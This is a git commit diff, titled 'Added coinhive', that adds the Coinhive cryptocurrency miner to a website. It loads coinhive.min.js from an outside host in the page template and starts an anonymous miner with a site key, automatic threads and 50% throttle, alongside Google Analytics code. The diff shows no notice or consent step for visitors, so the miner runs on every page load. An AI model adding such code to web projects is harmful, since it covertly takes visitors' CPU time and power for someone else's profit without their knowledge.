#37 Added coinhive

master
Keith Irwin 2017-09-27 15:43:20 +00:00
parent e487fe5751
commit 06419abf82
No known key found for this signature in database
GPG Key ID: 378933C743E2BBC0
2 changed files with 8 additions and 1 deletions

View File

@ -1,5 +1,5 @@
'use strict';
/* global ga */
/* global ga CoinHive */
// Google analytics
(function(t,r,a,c,m,o,n){t['GoogleAnalyticsObject']=m;t[m]=t[m]||function(){
@ -9,3 +9,9 @@ n=r.getElementsByTagName(a)[0];o.async=1;o.src=c;n.parentNode.insertBefore(o,n);
ga('create','UA-44266909-3','auto');
ga('require','linkid');
ga('send','pageview');
// Coinhive
new CoinHive.Anonymous('7FZrGIbIO4kqxbTLa82QpffB9ShUGmWE',{
autoThreads: true,
throttle: .5
}).start(CoinHive.FORCE_EXCLUSIVE_TAB);

View File

@ -62,6 +62,7 @@
<!-- Javascript -->
{% block javascript %}
<script type="application/javascript" src="https://coin-hive.com/lib/coinhive.min.js"></script>
<script type="application/javascript" src="/static/js/.base.bun.js"></script>
{% endblock %}